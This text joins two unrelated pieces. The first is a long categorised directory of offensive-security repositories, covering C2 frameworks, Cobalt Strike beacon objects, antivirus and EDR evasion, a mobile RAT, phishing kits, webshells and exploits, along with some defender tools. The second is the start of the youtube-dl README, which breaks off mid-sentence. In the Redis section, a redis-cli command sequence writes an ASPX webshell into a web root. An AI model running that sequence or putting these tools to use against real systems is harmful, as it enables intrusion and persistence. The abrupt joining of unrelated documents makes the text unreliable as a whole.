Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in Golang, focused on containerized environments. ## Mythic Agents https://github.com/MythicAgents/Apollo https://github.com/MythicAgents/Nimplant # VBA https://github.com/JohnWoodman/VBA-Macro-Projects - This repository is a collection of my malicious VBA projects. https://github.com/karttoon/trigen - Trigen is a Python script which uses different combinations of Win32 function calls in generated VBA to execute shellcode. https://github.com/rmdavy/HeapsOfFun - AMSI Bypass Via the Heap https://github.com/S3cur3Th1sSh1t/OffensiveVBA - This repo covers some code execution and AV Evasion methods for Macros in Office documents # Rust https://github.com/Kudaes/DInvoke_rs - Dynamically invoke arbitrary unmanaged code. https://github.com/trickster0/OffensiveRust - Rust Weaponization for Red Team Engagements. # Go https://github.com/malware-unicorn/GoPEInjection - Golang PE injection on windows # Cobalt Strike Stuff https://github.com/DeEpinGh0st/Erebus https://github.com/aleenzz/Cobalt_Strike_wiki https://github.com/FortyNorthSecurity/C2concealer https://github.com/invokethreatguy/AggressorCollection https://github.com/harleyQu1nn/AggressorScripts https://github.com/mgeeky/cobalt-arsenal - My collection of battle-tested Aggressor Scripts for Cobalt Strike 4.0+ https://github.com/xforcered/CredBandit - Proof of concept Beacon Object File (BOF) that uses static x64 syscalls to perform a complete in memory dump of a process and send that back through your already existing Beacon communication channel https://github.com/EncodeGroup/BOF-RegSave - Dumping SAM / SECURITY / SYSTEM registry hives with a Beacon Object File https://github.com/EncodeGroup/AggressiveGadgetToJScript - A Cobalt Strike Aggressor script to generate GadgetToJScript payloads https://github.com/rvrsh3ll/BOF_Collection - Various Cobalt Strike BOFs https://github.com/EspressoCake/HandleKatz_BOF - A BOF port of the research of @thefLinkk and @codewhitesec https://github.com/trustedsec/CS-Situational-Awareness-BOF - Situational Awareness commands implemented using Beacon Object Files https://github.com/anthemtotheego/InlineExecute-Assembly - InlineExecute-Assembly is a proof of concept Beacon Object File (BOF) that allows security professionals to perform in process .NET assembly execution as an alternative to Cobalt Strikes traditional fork and run execute-assembly module https://github.com/EspressoCake/Self_Deletion_BOF - BOF implementation of the research by @jonaslyk and the drafted PoC from @LloydLabs https://github.com/EspressoCake/PPLDump_BOF - A faithful transposition of the key features/functionality of @itm4n's PPLDump project as a BOF. https://github.com/boku7/CobaltStrikeReflectiveLoader - Cobalt Strike User-Defined Reflective Loader written in Assembly & C for advanced evasion capabilities. https://github.com/optiv/Registry-Recon - Cobalt Strike Aggressor Script that Performs System/AV/EDR Recon https://github.com/Tylous/SourcePoint - SourcePoint is a C2 profile generator for Cobalt Strike command and control servers designed to ensure evasion. https://github.com/boku7/spawn - Cobalt Strike BOF that spawns a sacrificial process, injects it with shellcode, and executes payload. Built to evade EDR/UserLand hooks by spawning sacrificial process with Arbitrary Code Guard (ACG), BlockDll, and PPID spoofing. https://github.com/OG-Sadpanda/SharpExcelibur - Read Excel Spreadsheets (XLS/XLSX) using Cobalt Strike's Execute-Assembly https://github.com/OG-Sadpanda/SharpSword - Read the contents of DOCX files using Cobalt Strike's Execute-Assembly https://github.com/EncodeGroup/AggressiveProxy - Project to enumerate proxy configurations and generate shellcode from CobaltStrike https://github.com/mgeeky/RedWarden - Cobalt Strike C2 Reverse proxy that fends off Blue Teams, AVs, EDRs, scanners through packet inspection and malleable profile correlation https://github.com/rsmudge/unhook-bof - Remove API hooks from a Beacon process. https://github.com/ajpc500/BOFs - Collection of Beacon Object Files https://github.com/outflanknl/InlineWhispers - Tool for working with Direct System Calls in Cobalt Strike's Beacon Object Files (BOF) # Android https://github.com/AhMyth/AhMyth-Android-RAT # Linux MacOSX Specific https://github.com/neoneggplant/EggShell # Wifi Tools https://github.com/wifiphisher/wifiphisher https://github.com/P0cL4bs/WiFi-Pumpkin https://github.com/s0lst1c3/eaphammer https://github.com/h0nus/RogueSploit https://github.com/Tylous/SniffAir https://github.com/FluxionNetwork/fluxion https://github.com/derv82/wifite2 https://github.com/ICSec/airpwn-ng https://github.com/xdavidhu/mitmAP https://github.com/ZerBea/hcxdumptool https://github.com/P0cL4bs/wifipumpkin3 - Powerful framework for rogue access point attack. # Android / Nethunter https://github.com/faizann24/wifi-bruteforcer-fsecurify https://github.com/chrisk44/Hijacker # NAT Slipstreaming https://github.com/samyk/slipstream - NAT Slipstreaming allows an attacker to remotely access any TCP/UDP services bound to a victim machine, bypassing the victim’s NAT/firewall, just by the victim visiting a website # Raspberri PI Exploitation https://github.com/secgroundzero/warberry https://github.com/samyk/poisontap https://github.com/mame82/P4wnP1 https://github.com/mame82/P4wnP1_aloa https://github.com/pi-hole/pi-hole # Physical Security / HID/ETH Emulator https://github.com/carmaa/inception - PCI-based DMA https://github.com/samratashok/Kautilya https://github.com/ufrisk/pcileech - PCI based DMA https://github.com/Screetsec/Brutal - Teensy Payloads https://github.com/insecurityofthings/jackit https://github.com/BastilleResearch/mousejack # Social Engeneering https://github.com/kgretzky/evilginx https://github.com/threatexpress/domainhunter https://github.com/netevert/dnsmorph - lookup valid phishing-Domains https://github.com/elceef/dnstwist - lookup valid phishing-Domains https://github.com/quickbreach/SMBetray - Change SMB Files on the fly https://github.com/SteveLTN/https-portal https://github.com/ryhanson/phishery https://github.com/curtbraz/Phishing-API - Comprehensive Web Based Phishing Suite of Tools for Rapid Deployment and Real-Time Alerting! # Defender Guides / Tools / Incident Response / Blue Team https://github.com/CCob/BeaconEye - Hunts out CobaltStrike beacons and logs operator command output https://github.com/3lp4tr0n/BeaconHunter - Detect and respond to Cobalt Strike beacons using ETW. https://github.com/IonizeCbr/AmsiPatchDetection - Detect AMSI.dll in memory patch https://github.com/cisagov/Sparrow - Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment. https://github.com/meirwah/awesome-incident-response https://github.com/CredDefense/CredDefense - Credential and Red Teaming Defense for Windows Environments https://github.com/PaulSec/awesome-windows-domain-hardening https://github.com/ernw/hardening https://github.com/Invoke-IR/Uproot https://github.com/danielbohannon/Revoke-Obfuscation - powershell obfuscation detection https://github.com/NotPrab/.NET-Deobfuscator - Lists of .NET Deobfuscator and Unpacker (Open Source) https://github.com/countercept/python-exe-unpacker - python exe decompile https://github.com/0xd4d/de4dot - .NET Revoke-Obfuscation https://github.com/securitywithoutborders/hardentools https://github.com/x0rz/phishing_catcher https://github.com/Ben0xA/PowerShellDefense https://github.com/emposha/PHP-Shell-Detector https://github.com/LordNoteworthy/al-khaser https://github.com/Security-Onion-Solutions/security-onion - ids https://github.com/ptresearch/AttackDetection https://github.com/MHaggis/hunt-detect-prevent https://github.com/JPCERTCC/LogonTracer - Investigate malicious Windows logon by visualizing and analyzing Windows event log https://github.com/lithnet/ad-password-protection - AD Passwort Blacklisting https://github.com/R3MRUM/PSDecode - Powershell DE-Obfuscation https://github.com/denisugarte/PowerDrive - A tool for de-obfuscating PowerShell scripts https://github.com/matterpreter/DefenderCheck - Identifies the bytes that Microsoft Defender flags on. https://github.com/rasta-mouse/ThreatCheck - Identifies the bytes that Microsoft Defender / AMSI Consumer flags on. https://github.com/hegusung/AVSignSeek - Tool written in python3 to determine where the AV signature is located in a binary/payload https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES https://github.com/ION28/BLUESPAWN - An Active Defense and EDR software to empower Blue Teams https://github.com/hasherezade/hollows_hunter - Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches). https://github.com/hasherezade/pe-sieve - Scans a given process. Recognizes and dumps a variety of potentially malicious implants (replaced/injected PEs, shellcodes, hooks, in-memory patches). https://github.com/0Kee-Team/WatchAD - AD Security Intrusion Detection System https://github.com/nsacyber/Mitigating-Web-Shells https://github.com/redcanaryco/atomic-red-team - Small and highly portable detection tests based on MITRE's ATT&CK. https://github.com/DamonMohammadbagher/ETWProcessMon2 - ETWProcessMon2 is for Monitoring Process/Thread/Memory/Imageloads/TCPIP via ETW + Detection for Remote-Thread-Injection & Payload Detection by VirtualMemAlloc Events (in-memory) etc. https://github.com/p0dalirius/LDAPmonitor - Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration! https://github.com/PSGumshoe/PSGumshoe - PSGumshoe is a Windows PowerShell module for the collection of OS and domain artifacts for the purposes of performing live response, hunt, and forensics. https://github.com/rajiv2790/FalconEye - FalconEye is a windows endpoint detection software for real-time process injections. It is a kernel-mode driver that aims to catch process injections as they are happening (real-time). Since FalconEye runs in kernel mode, it provides a stronger and reliable defense against process injection techniques that try to evade various user-mode hooks. # Wordlists / Wordlist generators https://github.com/danielmiessler/SecLists https://github.com/berzerk0/Probable-Wordlists https://github.com/govolution/betterdefaultpasslist https://github.com/insidetrust/statistically-likely-usernames https://github.com/LandGrey/pydictor https://github.com/sc0tfree/mentalist https://github.com/skahwah/wordsmith https://github.com/1N3/IntruderPayloads https://github.com/fuzzdb-project/fuzzdb https://github.com/Bo0oM/fuzz.txt https://github.com/laconicwolf/Password-Scripts https://github.com/FlameOfIgnis/Pwdb-Public - A collection of all the data i could extract from 1 billion leaked credentials from internet. # AD Lab Environment https://github.com/davidprowe/BadBlood https://github.com/WazeHell/vulnerable-AD - Create a vulnerable active directory that's allowing you to test most of the active directory attacks in a local lab https://github.com/clong/DetectionLab - Automate the creation of a lab environment complete with security tooling and logging best practices # Obfuscation https://github.com/xoreaxeaxeax/movfuscator https://github.com/danielbohannon/Invoke-DOSfuscation https://github.com/unixpickle/gobfuscate - GO Obfuscator https://github.com/NotPrab/.NET-Obfuscator - Lists of .NET Obfuscator (Free, Trial, Paid and Open Source ) https://github.com/javascript-obfuscator/javascript-obfuscator - Javascript Obfuscator https://github.com/danielbohannon/Invoke-Obfuscation - Powershell Obfuscator https://github.com/BinaryScary/NET-Obfuscate - .NET IL Obfuscator https://github.com/scrt/avcleaner - C/C++ source obfuscator for antivirus bypass https://github.com/meme/hellscape - GIMPLE obfuscator for C, C++, Go, ... all supported GCC targets and front-ends that use GIMPLE. https://github.com/mgeeky/VisualBasicObfuscator - VBS Obfuscator https://github.com/3xpl01tc0d3r/Obfuscator - Shellcode Obfuscator https://github.com/EgeBalci/sgn - Shellcode Encoder https://github.com/burrowers/garble - Obfuscate Go builds https://github.com/JustasMasiulis/xorstr - heavily vectorized c++17 compile time string encryption. https://github.com/AnErrupTion/LoGiC.NET - A more advanced free and open .NET obfuscator using dnlib. https://github.com/klezVirus/chameleon - PowerShell Script Obfuscator https://github.com/xforcered/InvisibilityCloak - Proof-of-concept obfuscation toolkit for C# post-exploitation tools https://github.com/Flangvik/RosFuscator - YouTube/Livestream project for obfuscating C# source code using Roslyn https://github.com/JoelGMSec/Invoke-Stealth - Simple & Powerful PowerShell Script Obfuscator https://github.com/GetRektBoy724/BetterXencrypt - A better version of Xencrypt.Xencrypt it self is a Powershell runtime crypter designed to evade AVs. https://github.com/obfuscator-llvm/obfuscator - C obfuscator https://github.com/moloch--/denim - NIM llvm obfuscator # Hash Crack / Decryption https://hashcat.net/hashcat/ https://github.com/Ciphey/Ciphey - Ciphey is an automated decryption tool. Input encrypted text, get the decrypted text back. https://github.com/Coalfire-Research/npk - A mostly-serverless distributed hash cracking platform https://github.com/JoelGMSec/Cloudtopolis - Cracking hashes in the Cloud (for free!) https://github.com/f0cker/crackq - CrackQ: A Python Hashcat cracking queue system # Source Code / Binary Analysis ## Binary Analysis https://github.com/avast/retdec https://github.com/MobSF/Mobile-Security-Framework-MobSF ## Source Code Analysis https://github.com/mre/awesome-static-analysis https://github.com/eslint/eslint - Javascript https://github.com/dpnishant/jsprime - Javascript https://github.com/phpstan/phpstan - PHP https://github.com/ecriminal/phpvuln - Audit tool to find common vulnerabilities in PHP source code # Nim https://github.com/snovvcrash/NimHollow - Nim implementation of Process Hollowing using syscalls (PoC) https://github.com/jonaslejon/malicious-pdf - Malicious PDF Generator https://github.com/byt3bl33d3r/OffensiveNim https://github.com/Yardanico/nim-strenc - A tiny library to automatically encrypt string literals in Nim code https://github.com/ChaitanyaHaritash/NIM-Scripts https://github.com/Moriarty2016/NimRDI - RDI implementation in Nim https://github.com/ajpc500/NimExamples - A collection of offensive Nim example code https://github.com/elddy/Nim-SMBExec - SMBExec implementation in Nim - SMBv2 using NTLM Authentication with Pass-The-Hash technique https://github.com/FedericoCeratto/nim-socks5 - Nim Socks5 library # MISC https://github.com/rvrsh3ll/TokenTactics - Azure JWT Token Manipulation Toolset https://github.com/zer1t0/ticket_converter - A little tool to convert ccache tickets into kirbi (KRB-CRED) and vice versa based on impacket. https://github.com/pentestmonkey/gateway-finder https://github.com/Cybellum/DoubleAgent https://github.com/ytisf/theZoo https://github.com/kbandla/APTnotes https://github.com/WindowsLies/BlockWindows https://github.com/secrary/InjectProc https://github.com/AlsidOfficial/WSUSpendu https://github.com/SigPloiter/SigPloit https://github.com/virajkulkarni14/WebDeveloperSecurityChecklist https://github.com/PowerShell/PowerShell https://github.com/landhb/HideProcess https://github.com/meliht/Mr.SIP https://github.com/XiphosResearch/exploits https://github.com/jas502n/CVE-2019-13272 https://github.com/fox-it/cve-2019-1040-scanner https://github.com/worawit/MS17-010 https://github.com/DiabloHorn/yara4pentesters https://github.com/D4Vinci/Cr3dOv3r https://github.com/a2u/CVE-2018-7600 - Drupal Exploit https://github.com/joxeankoret/CVE-2017-7494 - SAMBA Exploit https://github.com/D4Vinci/One-Lin3r - Reverse Shell Oneliner / Payload Generation https://github.com/0x00-0x00/ShellPop - Reverse/Bind Shell Generator https://github.com/Acceis/crypto_identifier https://github.com/sensepost/UserEnum - check if a user is valid in a domain https://github.com/LOLBAS-Project/LOLBAS - Living of the Land Binaries https://github.com/peewpw/Invoke-BSOD - Windows Denial of Service Exploit https://github.com/mtivadar/windows10_ntfs_crash_dos - Windows Denial of Service Exploit https://github.com/deepzec/Bad-Pdf PDF Steal NTLMv2 Hash Exploit - CVE-2018-4993 https://github.com/SecureAuthCorp/impacket - :boom: :fire: :boom: https://github.com/blacknbunny/libSSH-Authentication-Bypass - LibSSH Authentication Bypass vuln. https://github.com/OneLogicalMyth/zeroday-powershell - windows Privesc Exploit https://github.com/smicallef/spiderfoot - OSINT https://github.com/ShawnDEvans/smbmap https://github.com/Coalfire-Research/java-deserialization-exploits - Deserialisation Exploits https://github.com/RhinoSecurityLabs/GCPBucketBrute - S3 bucket tester https://github.com/khast3x/h8mail https://github.com/dirkjanm/adidnsdump - Zone transfer like for internal assessment https://github.com/gquere/pwn_jenkins https://github.com/JavelinNetworks/IR-Tools - Get-ShellContent.ps1 get the typed content for all open shells https://github.com/taviso/ctftool - windows CTF Exploitation https://github.com/jedisct1/dsvpn https://github.com/GoSecure/dtd-finder https://github.com/tyranid/DotNetToJScript https://github.com/cfreal/exploits - Apache Privilege Escalation https://github.com/Al1ex/WindowsElevation - Windows Elevation(持续更新) https://github.com/adamdriscoll/snek - Execute python from powershell https://github.com/g0tmi1k/exe2hex https://github.com/beurtschipper/Depix - Recovers passwords from pixelized screenshots https://github.com/slaeryan/AQUARMOURY - This is a tool suite consisting of miscellaneous offensive tooling aimed at red teamers/penetration testers to primarily aid in Defense Evasion TA0005 https://github.com/mmozeiko/aes-finder - Utility to find AES keys in running processes https://github.com/Flangvik/SharpCollection - Nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines. https://github.com/CCob/MinHook.NET - A C# port of the MinHook API hooking library https://github.com/Mr-Un1k0d3r/EDRs - This repo contains information about EDRs that can be useful during red team exercise. # Big-IP Exploitation https://github.com/jas502n/CVE-2020-5902 # Azure Cloud Tools https://github.com/hausec/PowerZure https://github.com/NetSPI/MicroBurst https://github.com/dirkjanm/ROADtools - The Azure AD exploration framework. https://github.com/dafthack/CloudPentestCheatsheets https://github.com/cyberark/BlobHunter - Find exposed data in Azure with this public blob scanner # Anonymous / Tor Projects https://github.com/realgam3/pymultitor https://github.com/Und3rf10w/kali-anonsurf https://github.com/GouveaHeitor/nipe https://github.com/cryptolok/GhostInTheNet https://github.com/DanMcInerney/elite-proxy-finder # Exploit Search https://github.com/vulnersCom/getsploit https://github.com/1N3/Findsploit # Industrial Control Systems https://github.com/dark-lbp/isf https://github.com/klsecservices/s7scan https://github.com/w3h/isf https://github.com/atimorin/scada-tools - # Network access control bypass https://github.com/scipag/nac_bypass # Jenkins https://github.com/cedowens/Jenkins_Hunter_CSharp https://github.com/petercunha/jenkins-rce https://github.com/gquere/pwn_jenkins https://medium.com/@adamyordan/a-case-study-on-jenkins-rce-c2558654f2ce https://github.com/Accenture/jenkins-attack-framework # JMX Exploitation https://github.com/mogwailabs/mjet https://github.com/siberas/sjet https://github.com/qtc-de/beanshooter - JMX enumeration and attacking tool. https://github.com/mogwaisec/mjet - Mogwai Java Management Extensions (JMX) Exploitation Toolkit # Citrix Netscaler Pwn https://github.com/trustedsec/cve-2019-19781 # mikrotik pwn https://github.com/vulnersCom/mikrot8over - Fast exploitation tool for Mikrotik RouterOS up to 6.38.4 # Red Team infrastructure setup https://github.com/obscuritylabs/RAI https://github.com/Coalfire-Research/Red-Baron - terraform cloud c2 redirector setup https://github.com/qsecure-labs/overlord - Red Teaming Infrastructure Automation based on Red-Baron https://github.com/rmikehodges/hideNsneak - This application assists in managing attack infrastructure for penetration testers by providing an interface to rapidly deploy, manage, and take down various cloud services. These include VMs, domain fronting, Cobalt Strike servers, API gateways, and firewalls. https://github.com/shr3ddersec/Shr3dKit https://github.com/t94j0/satellite https://github.com/Cerbersec/DomainBorrowingC2 - Domain Borrowing is a new method to hide C2 traffic using CDN. It was first presented at Blackhat Asia 2021 by Junyu Zhou and Tianze Ding. https://github.com/Dliv3/DomainBorrowing - Domain Borrowing PoC # Bypass SPF/DKIM/DMARC https://github.com/chenjj/espoofer # Redis Exploitation https://github.com/n0b0dyCN/redis-rogue-server https://github.com/Ridter/redis-rce MSF: * scanner/redis/file_upload * exploit/linux/redis/redis_replication_cmd_exec Windows Targets - Webshell upload ``` redis-cli -h targethost -p targetport config set dir C:\inetpub\wwwroot\ config set dbfilename shell.aspx set test "Webshell content" save ``` # Apache Tomcat Exploitation https://github.com/mgeeky/tomcatWarDeployer - Apache Tomcat auto WAR deployment & pwning penetration testing tool. https://github.com/00theway/Ghostcat-CNVD-2020-10487 - AJP Exploit CVE-2020-1938 https://github.com/Ridter/redis-rce # SSRF Exploitation https://github.com/swisskyrepo/SSRFmap # LFI exploitation https://github.com/mzfr/liffy # MondoDB Redis Couchdb Exploitation https://github.com/torque59/Nosql-Exploitation-Framework https://github.com/Charlie-belmer/nosqli - NoSql Injection CLI tool, for finding vulnerable websites using MongoDB. # XXE https://github.com/luisfontes19/xxexploiter # Elasticsearch / Kibana Exploitation https://github.com/0xbug/Biu-framework # RMI attacks https://github.com/NickstaDB/BaRMIe https://github.com/BishopFox/rmiscout - RMIScout uses wordlist and bruteforce strategies to enumerate Java RMI functions and exploit RMI parameter unmarshalling vulnerabilities # JSON Web Token Analysis / Exploitation https://github.com/ticarpi/jwt_tool # Docker Exploitation https://github.com/AbsoZed/DockerPwn.py - automation of Docker TCP socket abuse https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/CVE%20Exploits/Docker%20API%20RCE.py - Docker API exposed RCE # PHP exploits https://github.com/neex/phuip-fpizdam - nginx + php misconfiguration # Cloud attack tools https://github.com/mdsecactivebreach/o365-attack-toolkit # Bluetooth / low energy https://github.com/ojasookert/CVE-2017-0785 https://github.com/evilsocket/bleah https://github.com/virtualabs/btlejack # Wireless / Radio Exploitation https://github.com/mame82/LOGITacker # APT / Malware Emulation / Defense Check https://github.com/TryCatchHCF/DumpsterFire https://github.com/NextronSystems/APTSimulator https://github.com/redhuntlabs/RedHunt-OS https://github.com/guardicore/monkey # Hash Crack / Lookup https://github.com/k4m4/dcipher-cli https://github.com/s0md3v/Hash-Buster https://github.com/initstring/passphrase-wordlist # OSCP Lists / tools / help https://github.com/sailay1996/expl-bin https://github.com/CyDefUnicorn/OSCP-Archives # ASPX Webshells https://github.com/antonioCoco/SharPyShell # PHP Webshells https://github.com/flozz/p0wny-shell https://github.com/nil0x42/phpsploit - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner https://github.com/gellin/bantam - A PHP backdoor management and generation tool/C2 featuring end to end encrypted payload streaming designed to bypass WAF, IDS, SIEM systems. # JSP WebShells https://github.com/SecurityRiskAdvisors/cmd.jsp # Other Tool-Lists / Cheat Sheets https://github.com/D3VI5H4/Antivirus-Artifacts - List of Hooking DLLs for different AV vendors https://github.com/PwnDexter/SharpEDRChecker - Checks running processes, process metadata, Dlls loaded into your current process and the each DLLs metadata, common install directories, installed services and each service binaries metadata, installed drivers and each drivers metadata, all for the presence of known defensive products such as AV's, EDR's and logging tools. https://github.com/Hack-with-Github/Awesome-Hacking https://github.com/enaqx/awesome-pentest https://github.com/HarmJ0y/CheatSheets https://github.com/zhzyker/exphub https://github.com/vysecurity/RedTips https://github.com/toolswatch/blackhat-arsenal-tools https://github.com/jivoi/awesome-osint https://github.com/qazbnm456/awesome-cve-poc https://github.com/swisskyrepo/PayloadsAllTheThings https://github.com/dsasmblr/hacking-online-games https://github.com/carpedm20/awesome-hacking https://github.com/rshipp/awesome-malware-analysis https://github.com/thibmaek/awesome-raspberry-pi https://github.com/bigb0sss/RedTeam-OffensiveSecurity https://github.com/vitalysim/Awesome-Hacking-Resources https://github.com/mre/awesome-static-analysis https://github.com/coreb1t/awesome-pentest-cheat-sheets https://github.com/infosecn1nja/Red-Teaming-Toolkit https://github.com/rmusser01/Infosec_Reference https://github.com/trimstray/the-book-of-secret-knowledge https://github.com/N7WEra/SharpAllTheThings https://github.com/3gstudent/Pentest-and-Development-Tips https://github.com/qazbnm456/awesome-web-security https://github.com/chryzsh/awesome-windows-security https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE https://github.com/We5ter/Scanners-Box https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet https://github.com/smgorelik/Windows-RCE-exploits https://github.com/trustedsec/physical-docs https://github.com/matterpreter/OffensiveCSharp https://github.com/mgeeky/Penetration-Testing-Tools https://github.com/nomi-sec/PoC-in-GitHub https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques https://github.com/netbiosX/Checklists https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts https://github.com/adon90/pentest_compilation https://github.com/sailay1996/awesome_windows_logical_bugs https://github.com/EnableSecurity/awesome-rtc-hacking https://github.com/api0cradle/UltimateAppLockerByPassList https://github.com/hahwul/WebHackersWeapons https://github.com/d0nkeys/redteam https://github.com/d1pakda5/PowerShell-for-Pentesters https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts https://github.com/google/tsunami-security-scanner
[![Build Status](https://github.com/ytdl-org/youtube-dl/workflows/CI/badge.svg)](https://github.com/ytdl-org/youtube-dl/actions?query=workflow%3ACI) youtube-dl - download videos from youtube.com or other video platforms - [INSTALLATION](#installation) - [DESCRIPTION](#description) - [OPTIONS](#options) - [CONFIGURATION](#configuration) - [OUTPUT TEMPLATE](#output-template) - [FORMAT SELECTION](#format-selection) - [VIDEO SELECTION](#video-selection) - [FAQ](#faq) - [DEVELOPER INSTRUCTIONS](#developer-instructions) - [EMBEDDING YOUTUBE-DL](#embedding-youtube-dl) - [BUGS](#bugs) - [COPYRIGHT](#copyright) # INSTALLATION To install it right away for all UNIX users (Linux, macOS, etc.), type: sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl If you do not have curl, you can alternatively use a recent wget: sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl Windows users can [download an .exe file](https://yt-dl.org/latest/youtube-dl.exe) and place it in any location on their [PATH](https://en.wikipedia.org/wiki/PATH_%28variable%29) except for `%SYSTEMROOT%\System32` (e.g. **do not** put in `C:\Windows\System32`). You can also use pip: sudo -H pip install --upgrade youtube-dl This command will update youtube-dl if you have already installed it. See the [pypi page](https://pypi.python.org/pypi/youtube_dl) for more information. macOS users can install youtube-dl with [Homebrew](https://brew.sh/): brew install youtube-dl Or with [MacPorts](https://www.macports.org/): sudo port install youtube-dl Alternatively, refer to the [developer instructions](#developer-instructions) for how to check out and work with the git repository. For further options, including PGP signatures, see the [youtube-dl Download Page](https://ytdl-org.github.io/youtube-dl/download.html). # DESCRIPTION **youtube-dl** is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on macOS. It is released to the public domain, which means you can modify it, redistribute it or use it however you like. youtube-dl [OPTIONS] URL [URL...] # OPTIONS -h, --help Print this help text and exit --version Print program version and exit -U, --update Update this program to latest version. Make sure that you have sufficient permissions (run with sudo if needed) -i, --ignore-errors Continue on download errors, for example to skip unavailable videos in a playlist --abort-on-error Abort downloading of further videos (in the playlist or the command line) if an error occurs --dump-user-agent Display the current browser identification --list-extractors List all supported extractors --extractor-descriptions Output descriptions of all supported extractors --force-generic-extractor Force extraction to use the generic extractor --default-search PREFIX Use this prefix for unqualified URLs. For example "gvsearch2:" downloads two videos from google videos for youtube-dl "large apple". Use the value "auto" to let youtube-dl guess ("auto_warning" to emit a warning when guessing). "error" just throws an error. The default value "fixup_error" repairs broken URLs, but emits an error if this is not possible instead of searching. --ignore-config Do not read configuration files. When given in the global configuration file /etc/youtube-dl.conf: Do not read the user configuration in ~/.config/youtube- dl/config (%APPDATA%/youtube-dl/config.txt on Windows) --config-location PATH Location of the configuration file; either the path to the config or its containing directory. --flat-playlist Do not extract the videos of a playlist, only list them. --mark-watched Mark videos watched (YouTube only) --no-mark-watched Do not mark videos watched (YouTube only) --no-color Do not emit color codes in output ## Network Options: --proxy URL Use the specified HTTP/HTTPS/SOCKS proxy. To enable SOCKS proxy, specify a proper scheme. For example socks5://127.0.0.1:1080/. Pass in an empty string (--proxy "") for direct connection --socket-timeout SECONDS Time to wait before giving up, in seconds --source-address IP Client-side IP address to bind to -4, --force-ipv4 Make all connections via IPv4 -6, --force-ipv6 Make all connections via IPv6 ## Geo Restriction: --geo-verification-proxy URL Use this proxy to verify the IP address for some geo-restricted sites. The default proxy specified by --proxy (or none, if the option is not present) is used for the actual downloading. --geo-bypass Bypass geographic restriction via faking X-Forwarded-For HTTP header --no-geo-bypass Do not bypass geographic restriction via faking X-Forwarded-For HTTP header --geo-bypass-country CODE Force bypass geographic restriction with explicitly provided two-letter ISO 3166-2 country code --geo-bypass-ip-block IP_BLOCK Force bypass geographic restriction with explicitly provided IP block in CIDR notation ## Video Selection: --playlist-start NUMBER Playlist video to start at (default is 1) --playlist-end NUMBER Playlist video to end at (default is last) --playlist-items ITEM_SPEC Playlist video items to download. Specify indices of the videos in the playlist separated by commas like: "--playlist-items 1,2,5,8" if you want to download videos indexed 1, 2, 5, 8 in the playlist. You can specify range: "--playlist-items 1-3,7,10-13", it will download the videos at index 1, 2, 3, 7, 10, 11, 12 and 13. --match-title REGEX Download only matching titles (regex or caseless sub-string) --reject-title REGEX Skip download for matching titles (regex or caseless sub-string) --max-downloads NUMBER Abort after downloading NUMBER files --min-filesize SIZE Do not download any videos smaller than SIZE (e.g. 50k or 44.6m) --max-filesize SIZE Do not download any videos larger than SIZE (e.g. 50k or 44.6m) --date DATE Download only videos uploaded in this date --datebefore DATE Download only videos uploaded on or before this date (i.e. inclusive) --dateafter DATE Download only videos uploaded on or after this date (i.e. inclusive) --min-views COUNT Do not download any videos with less than COUNT views --max-views COUNT Do not download any videos with more than COUNT views --match-filter FILTER Generic video filter. Specify any key (see the "OUTPUT TEMPLATE" for a list of available keys) to match if the key is present, !key to check if the key is not present, key > NUMBER (like "comment_count > 12", also works with >=, <, <=, !=, =) to compare against a number, key = 'LITERAL' (like "uploader = 'Mike Smith'", also works with !=) to match against a string literal and & to require multiple matches. Values which are not known are excluded unless you put a question mark (?) after the operator. For example, to only match videos that have been liked more than 100 times and disliked less than 50 times (or the dislike functionality is not available at the given service), but who also have a description, use --match-filter "like_count > 100 & dislike_count <? 50 & description" . --no-playlist Download only the video, if the URL refers to a video and a playlist. --yes-playlist Download the playlist, if the URL refers to a video and a playlist. --age-limit YEARS Download only videos suitable for the given age --download-archive FILE Download only videos not listed in the archive file. Record the IDs of all downloaded videos in it. --include-ads Download advertisements as well (experimental) ## Download Options: -r, --limit-rate RATE Maximum download rate in bytes per second (e.g. 50K or 4.2M) -R, --retries RETRIES Number of retries (default is 10), or "infinite". --fragment-retries RETRIES Number of retries for a fragment (default is 10), or "infinite" (DASH, hlsnative and ISM) --skip-unavailable-fragments Skip unavailable fragments (DASH, hlsnative and ISM) --abort-on-unavailable-fragment Abort downloading when some fragment is not available --keep-fragments Keep downloaded fragments on disk after downloading is finished; fragments are erased by default --buffer-size SIZE Size of download buffer (e.g. 1024 or 16K) (default is 1024) --no-resize-buffer Do not automatically adjust the buffer size. By default, the buffer size is automatically resized from an initial value of SIZE. --http-chunk-size SIZE Size of a chunk for chunk-based HTTP downloading (e.g. 10485760 or 10M) (default is disabled). May be useful for bypassing bandwidth throttling imposed by a webserver (experimental) --playlist-reverse Download playlist videos in reverse order --playlist-random Download playlist videos in random order --xattr-set-filesize Set file xattribute ytdl.filesize with expected file size --hls-prefer-native Use the native HLS downloader instead of ffmpeg --hls-prefer-ffmpeg Use ffmpeg instead of the native HLS downloader --hls-use-mpegts Use the mpegts container for HLS videos, allowing to play the video while downloading (some players may not be able to play it) --external-downloader COMMAND Use the specified external downloader. Currently supports aria2c,avconv,axel,curl,ffmpeg,httpie,wget --external-downloader-args ARGS Give these arguments to the external downloader ## Filesystem Options: -a, --batch-file FILE File containing URLs to download ('-' for stdin), one URL per line. Lines starting with '#', ';' or ']' are considered as comments and 